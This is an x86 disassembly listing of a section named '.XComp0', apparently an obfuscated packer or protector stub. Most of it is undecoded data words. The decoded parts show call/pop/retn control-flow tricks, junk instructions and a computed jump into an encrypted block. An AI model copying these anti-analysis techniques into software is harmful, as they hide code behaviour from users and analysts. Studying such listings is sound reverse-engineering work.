		dd 5F91AEDh, 68A0Fh, 0BD890000h, 5F907F9h, 0FE94090h, 2000000h
		dd 7C34D644h, 47D36C2Eh, 0B4E5E222h, 0BD83D194h, 5F90845h
		dd 0CB840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 7AD8C353h, 0BD230CBBh
		dd 5F92B8Dh, 0F8BF0F60h, 2FF36BBBh, 0BD836158h,	5F91825h
		dd 8F840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 8D2EC353h, 95FF4186h
		dd 5F90845h, 0FC00BF9h,	6184h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0F916BEE5h
		dd 8D8D2AAEh, 5F94EE8h,	0B8F88B66h, 5, 99EF8166h, 6AE1FFCAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 7C4C352h,	4B8361F4h, 3A9CACB8h, 12D59589h
		dd 0BD8305F9h, 5F914D5h, 4A840F00h, 6A000006h, 3E85700h
		dd 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 894CC357h, 0F91EC985h
		dd 25BD8305h, 5F918h, 61B840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0E7F712C3h
		dd 5810Fh, 81660000h, 8D1016DEh, 0F91F098Dh, 0AE805h, 72080000h
		dd 874610EEh, 0BC40A204h, 0E610C681h, 0C75E435Fh, 0B27C8401h
		dd 359D8944h, 0F05F904h, 181F6B7h, 1499CFCBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0AC35545h, 89BD8B03h
		dd 0C705F92Ch, 6B340441h, 9589CE70h, 5F9081Dh, 10044181h
		dd 0F31D6D7h, 6AFFB7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0DC35545h, 0A5A902F1h, 28F0FF5h, 8B000000h
		dd 9858DF1h, 6A05F91Fh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0DF19C350h,	0F995293Fh
		dd 8905F912h, 0F9170D9Dh, 4895005h, 7E924h, 56590000h
		dd 656E5F60h, 0D595FF07h, 6A05F914h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0EC27C357h
		dd 0D3329C64h, 8D8DD98Dh, 5F91F09h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 81C35141h, 0B5235AF6h, 5F92119h
		dd 3CE68166h, 1C70Eh, 0E9000000h, 14h, 4F943AA8h, 8A871C08h
		dd 4A92E00Ah, 0C350A0B0h, 74D74DC1h, 0C7FB8B66h, 441h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0E9F353C3h, 8DBD896Dh, 0B05F919h,	53840FC0h
		dd 8D000000h, 0F94EE88Dh, 12E805h, 0B72F0000h, 945B8DF5h
		dd 0E8E277CEh, 379CACFh, 0AC0A2EB2h, 17F98531h,	0B85E05F9h
		dd 5, 594BC781h, 0E1FF7973h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0F0C35343h,	2915B58Bh, 8D8D05F9h
		dd 5F91F09h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0BFC35747h, 0BBF471E9h,	0D92B85B6h, 19BD29EFh
		dd 0C705F918h, 0AA727C01h, 35B52B44h, 8105F931h, 99CFCB01h
		dd 8E0F5014h, 4, 310ABE66h, 441C75Fh, 0CE78753Ch, 10044181h
		dd 0F531D6D7h, 150DB58Bh, 6A05F9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 1EC35040h, 0F3BF0F6Ah, 1F09858Dh
		dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0CCE004C3h, 0C53ADBh, 6690B951h, 6458EF81h
		dd 24048950h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	0B2C35141h, 56055AD6h, 232ADA44h, 0F92B35B5h, 0D595FF05h
		dd 6A05F914h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 9D0BC350h, 8CAD1167h, 0B5034ECFh
		dd 5F924E9h, 1F098D8Dh,	6A05F9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 3898B3C3h, 0FE981h, 0CE630000h
		dd 31371244h, 0C739F192h, 30FADEE6h, 0F9BF0FCEh, 1C7h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8B66E9C3h, 441C7F9h, 0
; ---------------------------------------------------------------------------
		jns	loc_5ADFAF
		jg	loc_5ADFAF
		mov	si, bx


loc_5ADFAF:				; CODE XREF: .XComp0:005ADFA0j
					; .XComp0:005ADFA6j
		or	eax, eax
		jz	loc_5AE027
		push	0
		push	esi
		call	sub_5ADFC2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADFC2	proc near		; CODE XREF: .XComp0:005ADFBAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5ADFC2	endp

; ---------------------------------------------------------------------------
		push	es
		movsx	edi, si
		lea	ecx, [ebp+5F94EE8h]
		mov	si, bx
		mov	eax, 5
		push	0
		push	esi
		call	sub_5ADFEF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ADFEF	proc near		; CODE XREF: .XComp0:005ADFE7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5ADFEF	endp

; ---------------------------------------------------------------------------
		dec	eax
		shl	dword ptr [ebx+edx-1], 0E1h
		push	0
		push	ebp
		call	sub_5AE010
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE010	proc near		; CODE XREF: .XComp0:005AE008p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5AE010	endp

; ---------------------------------------------------------------------------
		inc	ebx
		mov	[ebp+5F907C9h],	eax


loc_5AE027:				; CODE XREF: .XComp0:005ADFB1j
		lea	ecx, [ebp+5F91F09h]
		mov	dword ptr [ecx], 54CA95A5h
		push	0
		push	esi
		call	sub_5AE03E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE03E	proc near		; CODE XREF: .XComp0:005AE036p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5AE03E	endp

; ---------------------------------------------------------------------------
		dw 88AEh
; ---------------------------------------------------------------------------
		les	edx, [esi-1Bh]
		mov	al, ds:56E8D37Fh
		add	dword ptr [ecx], 1499CFCBh
		push	0
		push	ebx
		call	sub_5AE069
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE069	proc near		; CODE XREF: .XComp0:005AE061p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5AE069	endp

; ---------------------------------------------------------------------------
		sal	byte ptr [ecx],	25h
		ja	short near ptr loc_5AE080+1
		rcr	byte ptr [edi],	1


loc_5AE080:				; CODE XREF: .XComp0:005AE07Cj
		xor	es:[ebp+5F90E15h], ecx
		mov	dword ptr [ecx+4], 0CE5F5969h
		push	0
		push	ebx
		call	sub_5AE099
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AE099	proc near		; CODE XREF: .XComp0:005AE091p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5AE099	endp

; ---------------------------------------------------------------------------
		db  52h	; R
		db    4
		db  8Fh	; 
		db  11h
		db    5
		db  5Bh	; [
		db 0ECh	; ì
		db  38h	; 8
		db  53h	; S
		db  29h	; )
		db 0B5h	; µ
		db  65h	; e
		db    9
		db 0F9h	; ù
		db    5
		db  5Eh	; ^
		db  81h	; 
		db  41h	; A
		db    4
		db  10h
		db 0D7h	; ×
		db 0D6h	; Ö
		db  31h	; 1
		db  66h	; f
		db  8Bh	; ‹
		db 0F3h	; ó
		db  6Ah	; j
		db    0
		db 0E9h	; é
		db  0Ch
		db    0
		db    0
		db    0
		dw 50D3h
		dd 0D97E01DCh, 8C27D1C4h, 85893249h, 5F90109h, 1F09858Dh
		dd 8B5105F9h, 0B58B5EFAh, 5F90121h, 0F38B6650h,	6A240489h
		dd 3E85100h, 20000000h
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5AE0FE	proc near

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5AE0FE	endp

; ---------------------------------------------------------------------------
		dw 0AFE8h
		dd 8B19EFF9h, 0F925ADBDh, 0E3C6BE05h, 95FF4DD1h, 5F914D5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9FC35242h
		dd 0F88BCB2Bh, 1F098D8Dh, 6A05F9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 707DFEC3h, 347CFA92h
		dd 60E77692h, 0B966C3B0h, 0C7611366h, 1, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0A0A5EE41h, 460FBA3Fh, 441C7h, 8B000000h, 0FC00BFEh
		dd 9084h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0A74F794Eh, 0FF5791Bh, 685h, 31B58B00h
		dd 8D05F926h, 0F94EE88Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 403BD501h
		dd 0B58BE79Fh, 5F91569h, 5B8h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 5A6B99F6h
		dd 2B869CF8h, 0F927DDB5h, 29E1FF05h, 0F910BD95h, 0E9CA0305h
		dd 0FFFFF195h, 7870Fh, 23FC0000h, 0F90031B5h, 0F1B58B05h
		db 0Dh,	0F9h, 5
; ---------------------------------------------------------------------------


loc_5AE25B:				; CODE XREF: .XComp0:005AD3D8j
		jmp	loc_5AE27E
; ---------------------------------------------------------------------------
		dd 5931BD0Eh, 6	dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AE27E:				; CODE XREF: .XComp0:loc_5AE25Bj
		jmp	loc_5AEAD2
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E70E36DBh, 0F1D40807h, 0DD083CC7h, 0F4D309FCh, 879D3FC8h
		dd 9A6D4D0Ah, 0B2598362h, 89806B8Ah, 0C24B7453h, 54FFB81Ah
		dd 23995929h, 8C7F41A6h, 0CA6FAA63h, 9685F089h,	9EB06D29h
		dd 0B11BA445h, 9535B45Ah, 8C30C772h, 0B861DB7Bh, 85A7D281h
		dd 77242996h, 39B718D7h, 16A42BD7h, 6469A08Bh, 74A14FC5h
		dd 7BB80FCEh, 88AE5784h, 50898469h, 5DB20EA9h, 7728158h
		dd 922995C8h, 8E5F4C66h, 33F0D60Ah, 44EA23CCh, 0F823DE9Bh
		dd 2995CB85h, 3FDC0502h, 2995CB3Eh, 0C928CEBBh,	0C82FEA25h
		dd 9952E425h, 87273304h, 0AAC03185h, 256B3042h,	0EADD2FB8h
		dd 8170865Fh, 0AE8BB15Ch, 6D60AB11h, 705B9ABCh,	39C66399h
		dd 0B5747994h, 964FD3A6h, 9E535029h, 85527978h,	7732A366h
		dd 0C37E3BB2h, 964FE598h, 91A56229h, 749F7C62h,	29965009h
		dd 0CA339986h, 23B0B5DCh, 41F821E8h, 0F51AB6h, 346F0A29h
		dd 0FDEC2996h, 53E32EE1h, 0DE318D9Ah, 1BECD0D7h, 3E9E39A4h
		dd 178D00C9h, 0E67C2230h, 0A73A059h, 87299635h,	5985749Ah
		dd 7BA16853h, 139A735Ch, 0D70AB56h, 8A299635h, 0A0D6799Dh
		dd 1C299634h, 4D5A5BB4h, 8815986Bh, 2DFBA3AFh, 1FD3FB04h
		dd 0C50717C8h, 0F3FA2F7Eh, 0E5F11026h, 2F4A4F21h, 0BC084Dh
		dd 1D30000h, 0F3DEE725h, 0A5B452AFh, 4C4EB491h,	0CECB7185h
		dd 8595E873h, 15122996h, 0ECDF201h, 7F5A5BB0h, 0BBC0434Ah
		dd 5E299685h, 2C935B87h, 954449C2h, 4647C42Ah, 0D28E8393h
		dd 934D2F5Dh, 1, 0AB648C75h, 0FE89E76h,	0E6E820E5h, 0DD8C0106h
		dd 0FEE90214h, 1A82DE2h, 0BC31D6F6h, 3BF60DBBh,	0F9EFDC1Bh
		dd 8DFF31F4h, 5B5297C0h, 1697705Ch, 8D2EAB11h, 9E3CB178h
		dd 0BABB636Fh, 34E508EFh, 95A05627h, 1BD6D329h,	10DE0CFBh
		dd 31C544A7h, 4BF11EC2h, 2DEE13EEh, 2995A04Ch, 3E3FDCC9h
		dd 0BB2995A0h, 24C928CEh, 0E9D633E9h, 74051601h, 0F12995A0h
		dd 21F8FD34h, 608C270Dh, 8CC772A7h, 299685F1h, 0AA597F6Eh
		dd 48278D5Fh, 8645F0C4h, 50707770h, 0A156CEBFh,	6253B816h
		dd 4A986787h, 578D7A62h, 83BE4F70h, 36B7507Ch, 4F1AD363h
		dd 4FE4A77Dh, 0B5329A69h, 0AA49ED23h, 0E22D9140h, 0DB7A21EBh
		dd 0D2DBA649h, 0DCDBD217h, 939419F2h, 33D7DE25h, 48D08EDCh
		dd 0E2DD91BDh, 9E890CF9h, 0F105CC41h, 2FF5B01Ch, 0C5F54Dh
		dd 0F1480000h, 95D21762h, 47E79429h, 8931CEF1h,	0AC659E4Ch
		dd 887F6B8Ah, 7F846651h, 4771766Fh, 248F85BCh, 0D607C3E9h
		dd 455F1960h, 0E8115C6Fh, 183ECDEFh, 304E8CFh, 0C649A592h
		dd 5C8A7DCFh, 50996A50h, 32FCEADDh, 68F326C5h, 2995F115h
		dd 595C9592h, 16976C4Eh, 89688E43h, 847BA661h, 0C061B35Ch
		dd 9388BEDh, 0CDF842D4h, 94931AEDh, 31D7DE27h, 0E6E20408h
		dd 0AC1180FFh, 976F7B8Ah, 4D2F2835h, 0E29BB881h, 58299607h
		dd 73309677h, 7F47E3h, 1D9A0000h, 58AF1BC0h, 4F301C91h
		dd 0F4B05A75h, 59DF6FBAh, 7C8731CEh, 26AF1BDAh,	38A3FC4h
		dd 97725966h, 44B34316h, 9B7D7099h, 66866674h, 0CEA57BA1h
		dd 20772846h, 8F4A4BBCh, 0E06A23Dh, 2AE509E8h, 4B0E06A3h
		dd 0F18CC7FEh, 6E2995ADh, 0EB185BB1h, 0DFC7A037h, 0BE738EF9h
		dd 5EC1B598h, 0C1662996h, 639A144Bh, 0D78404C8h, 299604A6h
		dd 8BAB6623h, 0C4986E7Ch, 814D2FDCh, 1,	0FC46CE63h, 0C0BD59CBh
		dd 46748393h, 6BA65D8Bh, 0AD607D6Ah, 0D2EEA074h, 46EA2EDBh
		dd 8D3037B0h, 353B1A5Fh, 0ABF91D9h, 0CE37A483h,	9ECC43C7h
		dd 87D33AC0h, 7BA343A5h, 2A33243Ah, 0AA9E468Bh,	20BB43Ch
		dd 0D7BA12C7h, 0D60B618h, 0EB26E708h, 0AC13EE4Bh, 40FCA43h
		dd 2995BD79h, 62E509F6h, 2F8EDECCh, 582132DFh, 0D5239C9Bh
		dd 0BECE128h, 10F92BE2h, 1CF1CEE9h, 9C9B7EFFh, 0E80EFB23h
		dd 0D6F7E409h, 0F247F237h, 9C9B1861h, 46E89523h, 9B81F69Dh
		dd 0CEFB239Ch, 0DB1B637h, 0D61BECD0h, 4C9A6DDFh, 0C8714692h
		dd 9C9BF28Bh, 45B26F23h, 0B87164A7h, 717B6796h,	99AA44Ch
		dd 0C9562734h, 0D6D3239Ch, 51F0D9FEh, 5C816498h, 827D3CB1h
		dd 0DDA0BB58h, 5A239CC0h, 0B87164ADh, 0A7765796h, 9CC1116Ch
		dd 58918E23h, 0B21ABF55h, 0BE55C628h, 85749A00h, 0A36A5359h
		dd 0E598C37Eh, 9D239CC0h, 9CC0FB7Eh, 1B8B7823h,	0C09CDD7Eh
		dd 6C19239Ch, 5AA791A5h, 48D69886h, 2043Fh, 1C370200h
		dd 239CB461h, 270D21DEh, 97AC46CEh, 45976BA9h, 0F723B5B1h
		dd 215CF742h, 9E299597h, 641AF5C4h, 5D943BAAh, 0ABDF7CB9h
		dd 0E2F8F47h, 0AAB94FF4h, 0E72270A8h, 314C0732h, 0AE239D40h
		dd 0A3845DF1h, 0C631D33Ah, 0D73DE429h, 18E8C84Fh, 38E31EA2h
		dd 239CB245h, 0B831C5C2h, 0DAFF0EAFh, 0F2D7FCDDh, 2D7DE13h
		dd 8661F3ECh, 706B5458h, 0D173BE4Fh, 6CBF6468h,	0B949B15Ah
		dd 21FC7095h, 8DB948D6h, 84000000h, 6B9842BDh, 9CFDADD0h
		dd 0C47D2A23h, 9CFDE697h, 90A66323h, 4565FFAAh,	96856316h
		dd 0EE23E029h, 85352833h, 35F2A996h, 721C080Ch,	6E2A15B5h
		dd 7460AFC5h, 0F1FEAE2h, 0F24C2DD6h, 2057A995h,	0B137AD32h
		dd 79040F0Ah, 0F6A995F2h, 1CCDC009h, 6EEF2CD5h,	662995F2h
		dd 0A9776F59h, 0E64956B1h, 4D5D811h, 0D63B3EDDh, 0CBB82995h
		dd 37A4D32Bh, 38E103CEh, 0D6275201h, 0F7A42995h, 0FB9657h
		dd 0F1E30000h, 49E01143h, 3B01157Ah, 0DEFF69FFh, 0CD3FFA2Fh
		dd 4E030668h, 93A0B644h, 8F24FE88h, 85BC692Fh, 497D918Fh
		dd 0B46568A3h, 0C52A9960h, 0EAFB831h, 0C243A80Fh, 7CFD1ECBh
		dd 34239D2Bh, 9D2B5627h, 0F0D6D323h, 0D143FE33h, 329B0DB3h
		dd 0ADFFDADBh, 3BDBABF5h, 3B9F1801h, 22CB2ACCh,	1B59EAEBh
		dd 0BC239CADh, 59AF1103h, 6448C727h, 0D363D8DBh, 6F882634h
		dd 5B9ABC4Bh, 86816972h, 37A1994Bh, 24C936EBh, 0F81F5AF9h
		dd 0DF9C239Ch, 60F6A32Ah, 24A448D3h, 817E299Ah,	7029AC57h
		dd 0B06916DEh, 0DC77A647h, 1D9FCBA1h, 25A8611Eh, 1E09E274h
		dd 2A954CC1h, 634449C6h, 52078E75h, 0EC6E7797h,	550C7D4Fh
		dd 0B9CE4307h, 0E7786695h, 49F02971h, 9D1A63F0h, 0EA971D9Fh
		dd 0B73ED1EDh, 0EFF94CE2h, 0C9239CC9h, 709AE370h, 6A1717A2h
		dd 9B3D2CC4h, 7F78A168h, 0AF89AD5Ch, 3169FF91h,	4B083108h
		dd 29968532h, 1861F2AFh, 95299685h, 9116E6CBh, 5A8F7C79h
		dd 4AC277B4h, 4CB0E1C5h, 69DC72ABh, 2F92C87Fh, 977C5E59h
		dd 9870017Ch, 48817E23h, 0C22B9445h, 2453AB4Bh,	91484DB6h
		dd 40945558h, 9F49BD23h, 9A349064h, 1CEFCDCAh, 0BF2EC099h
		dd 0E81BBD1Eh, 0B93CCBEFh, 1CF029E0h, 46325B97h, 80BA5CE3h
		dd 6C957855h, 789E6553h, 3BF9E46Fh, 84258064h, 2BDB9EBDh
		dd 0AB58C6CBh, 7E6E7C8Bh, 8F78AC61h, 4647C828h,	4B748393h
		dd 0FFECCBC2h, 2A05EBD4h, 0C145B9ABh, 5A0F864Bh, 0AF191E8Fh
		dd 78566154h, 0A3822293h, 0F114B5B7h, 5EE42DFCh, 24C9A3AFh
		dd 3BF615B7h, 35972009h, 0E40ADFD6h, 0FC25E805h, 0BE2FD603h
		dd 0D7A24BEBh, 7188F122h, 1805C6CBh, 3F5F6h, 0F4B0000h
		dd 0AC658C39h, 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch
		dd 7D8A3235h, 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 8C681BCCh
		dd 89000040h, 8956241Ch, 4C681E6h, 83000000h, 348704EEh
		dd 2C895C24h, 184A6824h, 4890000h, 60C36824h, 34890000h
		dd 22F8BE24h, 8EBD4C65h, 2952624Fh, 8B545EF5h, 0C4812404h
		dd 4, 2BBA5253h, 0BB169A58h, 169A5823h,	15AD331h, 5B2B89C3h
		dd 582434FFh, 4C481h, 34FF0000h, 0C4815D24h, 4,	0FC4A31E9h
		dd 6E82DEFFh, 1D056BB2h
		db 0E0h, 0AFh
; ---------------------------------------------------------------------------


loc_5AEAD2:				; CODE XREF: .XComp0:loc_5AE27Ej
		mov	eax, 5FD346Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 39h
		dd 0B062A270h, 396818F4h, 0B04C5470h, 3903EEF4h, 0B0441670h
		dd 396FF4F4h, 0B05E6870h, 3919AAF4h, 0B073CA70h, 393A90F4h
		dd 0B040BC70h, 393826F4h, 0B005BE70h, 3903ECF4h, 0B0275070h
		dd 397B62F4h, 0B04DF270h, 394808F4h, 0B0062470h, 393F5EF4h
		dd 0B0606670h, 3942E4F4h, 0B0113870h, 39201AF4h, 0B0111A70h
		dd 397080F4h, 0B03C8C70h, 397996F4h, 0B0740E70h, 390CDCF4h
		dd 8B3C2070h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 69DFF329h, 4214F187h, 311DBD8Bh
		dd 0BD3105F9h, 5F917D1h, 4EBh, 0BF660000h, 0B58B21A5h
		dd 5F91821h, 0DC1858Dh,	6A05F9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 14FCC1C3h, 0D258D89h
		dd 0E4BE05F9h, 907EFBDDh, 90F28B50h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0A0C35242h,	526818B5h, 15B58B3Bh
		dd 6A05F90Ch, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 91EEB546h, 66A5FC80h, 6AF38Bh, 0B55B58Bh
		dd 858D05F9h, 5FD3727h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0FDC35040h, 6E7DA442h, 0C0836CDBh, 0DDB58B05h
		dd 8105F926h, 0CCAC1FDFh, 0F18B9044h, 840F50h, 90000000h
		dd 0BFFFBF0Fh, 0C5618DAh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0D8FBDFC3h, 0DDB52908h
		dd 6A05F910h, 40D68100h, 0FF5D50E5h, 0F913ED95h, 4D852905h
		dd 8D05F91Eh, 0FCE9839Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0A81E9B98h
		dd 60261303h, 61F9C18Bh, 1EE1BD8Bh, 0D3FF05F9h,	0C68B60F5h
		dd 97F18166h, 85FF61C9h, 5F9197Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0D4C35747h,	57B0D7A9h, 442F54B3h
		dd 0F0BF0FADh, 891E9h, 0E800h, 815D0000h, 0FD3731EDh, 0C9B58905h
		dd 8105F917h, 0F90715BDh, 7D005h, 0E3860F00h, 8B000000h
		dd 0F90CB99Dh, 68D0F05h, 81000000h, 35B579C6h, 0E3813Dh
		dd 89000001h, 0F907598Dh, 0FDB0B05h, 5285h, 41BD2900h
		dd 8905F900h, 0F905E985h, 9DBD8305h, 5FD35h, 24840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 28E9D0C3h, 66000000h, 85C7FB8Bh, 5FD359Dh, 1, 14E9F08Bh
		dd 66000000h, 0C785C2BEh, 0FD359D85h, 5, 7DB58900h, 8D05F906h
		dd 0F90CB99Dh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 8D954A39h, 0F30996FBh
		dd 2381F93Fh, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 81C35040h, 0BD2323DEh, 5F925C1h, 741B58Bh
		dd 8C6605F9h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 94272987h, 0EE6416BAh, 0C3F62912h
		dd 0AF840F04h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 89EDC353h, 0F9090D85h
		dd 9195FF05h, 6A05F913h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0A9F1C355h,	31B89C8Ah
		dd 0F932ED85h, 13E89005h, 0DC000000h, 32A81717h, 0F1A05727h
		dd 0DBBCC7DFh, 450B3DCAh, 13E9DF45h, 20000000h,	1EB8FD6Ch
		dd 0BA275FAFh, 0A4F41CA7h, 0B42FC4FFh, 505E5556h, 7E9h
		dd 80508700h, 64434405h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 84F43CD3h, 40E9276Bh
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0B07DC356h, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 4003671Fh
		dd 91D65B17h, 0B70F4ED8h, 6A70E6F0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 4AA4C355h
		dd 0D8053C92h, 6A71E4h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0FB55A8C3h, 0E2A2DE9Eh, 0B52B8365h
		dd 5F926B1h, 6AD8B60Fh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 2260C353h, 0A3833975h
		dd 9D890B7Eh, 5F91E59h,	6BAh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 43542769h
		dd 3F053DF4h, 0C38B8CC9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0E7C35545h, 830F166Fh, 17h, 12E9h, 664B1100h
		dd 0F983054h, 86792734h, 4AF1C575h, 0C18C385Dh,	0F76604E8h
		dd 14E9E2h, 394E0000h, 0E712D436h, 11415ECDh, 9E0F02E7h
		dd 20CBC0Ah, 0D82BA5F6h, 8B525093h, 66310FFBh, 5AAF98BEh
		dd 830F5058h, 1Eh, 11E95250h, 14000000h, 0C21AF25Fh, 6BDCB239h
		dd 0D3C5DF3Fh, 0EA5EF4CEh, 5E57310Fh, 0F93585Ah, 0B5FFFFBFh
		dd 5F90715h, 0ED95FFF9h, 6A05F91Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0E48CC352h
		dd 0B01892EEh, 0F1B70F00h, 0E6F18B66h, 0D9952970h, 0E405F90Ah
		dd 57006A71h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0B2F4022Ah, 3C58B9C9h, 58830F61h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 6642C351h, 0F9DDFAFDh, 0B58BF22Dh, 5F9182Dh
		dd 984CBF66h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0CCFBC350h,	38D0Fh
		dd 8B660000h, 0EDBD89F0h, 0BA05F925h, 6, 2EB59589h, 0C38B05F9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1CC35747h
		dd 7025E0F3h, 0CE8A8EAh, 2C000000h, 0D549C922h,	38C01C33h
		dd 0B091599h, 0F90399B5h, 0E8C15F05h, 50006A04h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 666E82DEh, 10E8E2F7h, 0B6000000h, 2E1CE195h,	591FA9CCh
		dd 0F418E1F9h, 89222AB0h, 0F933018Dh, 0D82B5E05h, 5158FB8Bh
		dd 2755BD8Bh, 2B5F05F9h, 60880FD8h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 6B1CC353h, 0F4AA85FFh, 8DE819Ah, 5051687Fh, 2DBDB58Bh
		dd 0B95F05F9h, 7, 8CD8D89h, 816605F9h, 834875DEh, 6A00C1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 891484C3h, 0F92CD9B5h, 8D236005h, 5F9317Dh, 0F37EF181h
		dd 3B617261h, 0E4860FD9h, 89000000h, 0F9257595h, 0D98C6605h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 1CC35040h
